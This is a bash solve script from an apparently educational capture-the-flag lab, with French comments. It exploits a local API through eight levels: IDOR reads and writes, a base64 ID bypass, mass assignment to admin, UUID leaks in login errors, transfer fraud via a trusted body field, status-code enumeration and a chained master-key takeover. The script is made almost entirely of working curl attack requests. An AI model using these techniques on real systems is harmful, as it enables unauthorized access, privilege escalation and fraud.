-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathsolve.sh
More file actions
executable file
·288 lines (219 loc) · 13.7 KB
/
Copy pathsolve.sh
File metadata and controls
executable file
·288 lines (219 loc) · 13.7 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
#!/usr/bin/env bash
set -euo pipefail
# ── Config ──────────────────────────────────────────────────────────
BASE_URL="${BASE_URL:-http://localhost:8000}"
USERNAME="shadow_byte"
PASSWORD="shadow123"
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
CYAN='\033[0;36m'
RED='\033[0;31m'
DIM='\033[2m'
BOLD='\033[1m'
RESET='\033[0m'
# ── Helpers ─────────────────────────────────────────────────────────
show_cmd() {
echo -e "\n${DIM}$ ${1}${RESET}"
}
show_flag() {
local flag="$1"
echo -e "\n${GREEN}${BOLD}FLAG >> ${flag}${RESET}"
}
wait_next() {
echo ""
read -rp "$(echo -e "${YELLOW}Appuyer sur Entree pour le challenge suivant...${RESET}")"
echo ""
}
header() {
local level="$1" name="$2"
echo -e "${CYAN}${BOLD}═══════════════════════════════════════════════════${RESET}"
echo -e "${CYAN}${BOLD} Level ${level} — ${name}${RESET}"
echo -e "${CYAN}${BOLD}═══════════════════════════════════════════════════${RESET}"
}
# ── Login ───────────────────────────────────────────────────────────
echo -e "${BOLD}Connexion a ${BASE_URL} en tant que ${USERNAME}...${RESET}\n"
CMD='curl -s -X POST ${BASE_URL}/api/v1/auth/login -H "Content-Type: application/json" -d "{\"username\": \"${USERNAME}\", \"password\": \"${PASSWORD}\"}"'
show_cmd "$CMD"
LOGIN_RESPONSE=$(curl -s -X POST "${BASE_URL}/api/v1/auth/login" \
-H "Content-Type: application/json" \
-d "{\"username\": \"${USERNAME}\", \"password\": \"${PASSWORD}\"}")
TOKEN=$(echo "$LOGIN_RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")
MY_ID=$(echo "$LOGIN_RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['operator_id'])")
echo -e "${GREEN}Connecte: ${USERNAME} (id=${MY_ID})${RESET}"
echo -e "${DIM}TOKEN=${TOKEN:0:20}...${RESET}"
wait_next
# ═════════════════════════════════════════════════════════════════════
# Level 1 — Campaign Peeping
# ═════════════════════════════════════════════════════════════════════
header "1" "Campaign Peeping"
echo "Objectif : acceder a la campagne d'un autre operateur."
echo "On accede directement a la campagne id=3 (dark_phoenix)."
CMD='curl -s ${BASE_URL}/api/v1/campaigns/3 -H "Authorization: Bearer ${TOKEN}"'
show_cmd "$CMD"
RESPONSE=$(curl -s "${BASE_URL}/api/v1/campaigns/3" \
-H "Authorization: Bearer ${TOKEN}")
echo "$RESPONSE" | python3 -m json.tool
FLAG=$(echo "$RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['operator_notes'])")
show_flag "$FLAG"
wait_next
# ═════════════════════════════════════════════════════════════════════
# Level 2 — Campaign Hijack
# ═════════════════════════════════════════════════════════════════════
header "2" "Campaign Hijack"
echo "Objectif : modifier la campagne d'un autre operateur."
echo "On envoie un PUT sur la campagne id=3 qui appartient a dark_phoenix."
CMD='curl -s -X PUT ${BASE_URL}/api/v1/campaigns/3 -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d "{\"status\": \"pwned\"}"'
show_cmd "$CMD"
RESPONSE=$(curl -s -X PUT "${BASE_URL}/api/v1/campaigns/3" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"status": "pwned"}')
echo "$RESPONSE" | python3 -m json.tool
FLAG=$(echo "$RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['flag'])")
show_flag "$FLAG"
wait_next
# ═════════════════════════════════════════════════════════════════════
# Level 3 — Payload Export (Base64 Bypass)
# ═════════════════════════════════════════════════════════════════════
header "3" "Payload Export"
echo "Objectif : telecharger le payload d'un autre operateur."
echo "L'ID dans l'URL est encode en base64. On encode l'ID 4 : echo -n '4' | base64 -> NA=="
ENCODED_ID=$(echo -n "4" | base64)
CMD='curl -s ${BASE_URL}/api/v1/payloads/export/${ENCODED_ID} -H "Authorization: Bearer ${TOKEN}"'
show_cmd "$CMD"
echo -e "${DIM}(ENCODED_ID = $(echo -n '4' | base64))${RESET}"
RESPONSE=$(curl -s "${BASE_URL}/api/v1/payloads/export/${ENCODED_ID}" \
-H "Authorization: Bearer ${TOKEN}")
echo "$RESPONSE" | python3 -m json.tool
FLAG=$(echo "$RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['operator_notes'])")
show_flag "$FLAG"
wait_next
# ═════════════════════════════════════════════════════════════════════
# Level 4 — Operator Upgrade (IDOR + Mass Assignment)
# ═════════════════════════════════════════════════════════════════════
header "4" "Operator Upgrade"
echo "Objectif : modifier le profil d'un autre operateur pour lui donner des privileges."
echo "On PATCH l'operateur id=2 (dark_phoenix) avec un champ protege (role)."
CMD='curl -s -X PATCH ${BASE_URL}/api/v1/operators/2 -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d "{\"role\": \"admin\"}"'
show_cmd "$CMD"
RESPONSE=$(curl -s -X PATCH "${BASE_URL}/api/v1/operators/2" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d '{"role": "admin"}')
echo "$RESPONSE" | python3 -m json.tool
FLAG=$(echo "$RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['flag'])")
show_flag "$FLAG"
wait_next
# ═════════════════════════════════════════════════════════════════════
# Level 5 — Ghost Recon (Verbose Error Leak)
# ═════════════════════════════════════════════════════════════════════
header "5" "Ghost Recon"
echo "Objectif : acceder au profil complet d'un autre operateur."
echo "Etape 1 : tenter un login avec un username valide et un mauvais mdp -> l'erreur leak l'UUID."
CMD='curl -s -X POST ${BASE_URL}/api/v1/auth/login -H "Content-Type: application/json" -d "{\"username\": \"dark_phoenix\", \"password\": \"wrong\"}"'
show_cmd "$CMD"
LOGIN_ERROR=$(curl -s -X POST "${BASE_URL}/api/v1/auth/login" \
-H "Content-Type: application/json" \
-d '{"username": "dark_phoenix", "password": "wrong"}')
echo "$LOGIN_ERROR" | python3 -m json.tool
LEAKED_UUID=$(echo "$LOGIN_ERROR" | python3 -c "import sys,json; print(json.load(sys.stdin)['detail'].split()[-1])")
echo -e "${RED}UUID leaked : ${LEAKED_UUID}${RESET}"
echo ""
echo "Etape 2 : utiliser l'UUID pour acceder au profil."
CMD='curl -s ${BASE_URL}/api/v1/operators/${LEAKED_UUID}/profile -H "Authorization: Bearer ${TOKEN}"'
show_cmd "$CMD"
RESPONSE=$(curl -s "${BASE_URL}/api/v1/operators/${LEAKED_UUID}/profile" \
-H "Authorization: Bearer ${TOKEN}")
echo "$RESPONSE" | python3 -m json.tool
FLAG=$(echo "$RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['flag'])")
show_flag "$FLAG"
wait_next
# ═════════════════════════════════════════════════════════════════════
# Level 6 — Transfer Fraud
# ═════════════════════════════════════════════════════════════════════
header "6" "Transfer Fraud"
echo "Objectif : transferer les fonds d'un autre operateur vers notre compte."
echo "Le backend fait confiance au champ from_operator du body au lieu du JWT."
CMD='curl -s -X POST ${BASE_URL}/api/v1/transfers -H "Authorization: Bearer ${TOKEN}" -H "Content-Type: application/json" -d "{\"from_operator\": 2, \"to_operator\": ${MY_ID}, \"amount\": 1.0}"'
show_cmd "$CMD"
RESPONSE=$(curl -s -X POST "${BASE_URL}/api/v1/transfers" \
-H "Authorization: Bearer ${TOKEN}" \
-H "Content-Type: application/json" \
-d "{\"from_operator\": 2, \"to_operator\": ${MY_ID}, \"amount\": 1.0}")
echo "$RESPONSE" | python3 -m json.tool
FLAG=$(echo "$RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['flag'])")
show_flag "$FLAG"
wait_next
# ═════════════════════════════════════════════════════════════════════
# Level 7 — Shadow Payload (Enumeration via status codes)
# ═════════════════════════════════════════════════════════════════════
header "7" "Shadow Payload"
echo "Objectif : trouver et exporter un payload cache dans le systeme."
echo "Etape 1 : enumerer les IDs via DELETE — 403 = existe, 404 = n'existe pas."
CMD='for i in 1..12; do curl -s -o /dev/null -w "%{http_code}" -X DELETE ${BASE_URL}/api/v1/payloads/$i -H "Authorization: Bearer ${TOKEN}"; done'
show_cmd "$CMD"
for i in $(seq 1 12); do
STATUS=$(curl -s -o /dev/null -w "%{http_code}" -X DELETE "${BASE_URL}/api/v1/payloads/${i}" \
-H "Authorization: Bearer ${TOKEN}")
echo -e " DELETE /api/v1/payloads/${i} -> ${STATUS}"
done
echo ""
echo -e "${RED}IDs 6-9 renvoient 404, mais ID 10 renvoie 403 — un payload cache existe !${RESET}"
echo ""
echo "Etape 2 : exporter le payload 10 via la technique base64 du level 3."
ENCODED_ID=$(echo -n "10" | base64)
CMD='curl -s ${BASE_URL}/api/v1/payloads/export/${ENCODED_ID} -H "Authorization: Bearer ${TOKEN}"'
show_cmd "$CMD"
echo -e "${DIM}(ENCODED_ID = $(echo -n '10' | base64))${RESET}"
RESPONSE=$(curl -s "${BASE_URL}/api/v1/payloads/export/${ENCODED_ID}" \
-H "Authorization: Bearer ${TOKEN}")
echo "$RESPONSE" | python3 -m json.tool
FLAG=$(echo "$RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['operator_notes'])")
show_flag "$FLAG"
wait_next
# ═════════════════════════════════════════════════════════════════════
# Level 8 — Admin Takeover
# ═════════════════════════════════════════════════════════════════════
header "8" "Admin Takeover"
echo "Objectif : obtenir la master key de l'admin. 3 etapes chainees."
echo ""
echo "Etape 1 : rechercher les operateurs pour trouver le username de l'admin."
CMD='curl -s "${BASE_URL}/api/v1/operators/search?q=operator" -H "Authorization: Bearer ${TOKEN}"'
show_cmd "$CMD"
RESPONSE=$(curl -s "${BASE_URL}/api/v1/operators/search?q=operator" \
-H "Authorization: Bearer ${TOKEN}")
echo "$RESPONSE" | python3 -m json.tool
ADMIN_USERNAME=$(echo "$RESPONSE" | python3 -c "
import sys, json
ops = json.load(sys.stdin)
admin = next(o for o in ops if o['role'] == 'admin')
print(admin['username'])
")
ADMIN_ID=$(echo "$RESPONSE" | python3 -c "
import sys, json
ops = json.load(sys.stdin)
admin = next(o for o in ops if o['role'] == 'admin')
print(admin['id'])
")
echo -e "${RED}Admin trouve : username=${ADMIN_USERNAME}, id=${ADMIN_ID}${RESET}"
echo ""
echo "Etape 2 : login avec le username admin et un mauvais mdp -> leak de l'UUID."
CMD='curl -s -X POST ${BASE_URL}/api/v1/auth/login -H "Content-Type: application/json" -d "{\"username\": \"${ADMIN_USERNAME}\", \"password\": \"wrong\"}"'
show_cmd "$CMD"
LOGIN_ERROR=$(curl -s -X POST "${BASE_URL}/api/v1/auth/login" \
-H "Content-Type: application/json" \
-d "{\"username\": \"${ADMIN_USERNAME}\", \"password\": \"wrong\"}")
echo "$LOGIN_ERROR" | python3 -m json.tool
ADMIN_UUID=$(echo "$LOGIN_ERROR" | python3 -c "import sys,json; print(json.load(sys.stdin)['detail'].split()[-1])")
echo -e "${RED}Admin UUID leaked : ${ADMIN_UUID}${RESET}"
echo ""
echo "Etape 3 : acceder au master-key endpoint avec le header X-Admin-UUID."
CMD='curl -s ${BASE_URL}/api/v1/admin/operators/${ADMIN_ID}/master-key -H "Authorization: Bearer ${TOKEN}" -H "X-Admin-UUID: ${ADMIN_UUID}"'
show_cmd "$CMD"
RESPONSE=$(curl -s "${BASE_URL}/api/v1/admin/operators/${ADMIN_ID}/master-key" \
-H "Authorization: Bearer ${TOKEN}" \
-H "X-Admin-UUID: ${ADMIN_UUID}")
echo "$RESPONSE" | python3 -m json.tool
FLAG=$(echo "$RESPONSE" | python3 -c "import sys,json; print(json.load(sys.stdin)['flag'])")
show_flag "$FLAG"
echo -e "\n${GREEN}${BOLD}8/8 flags trouves !${RESET}"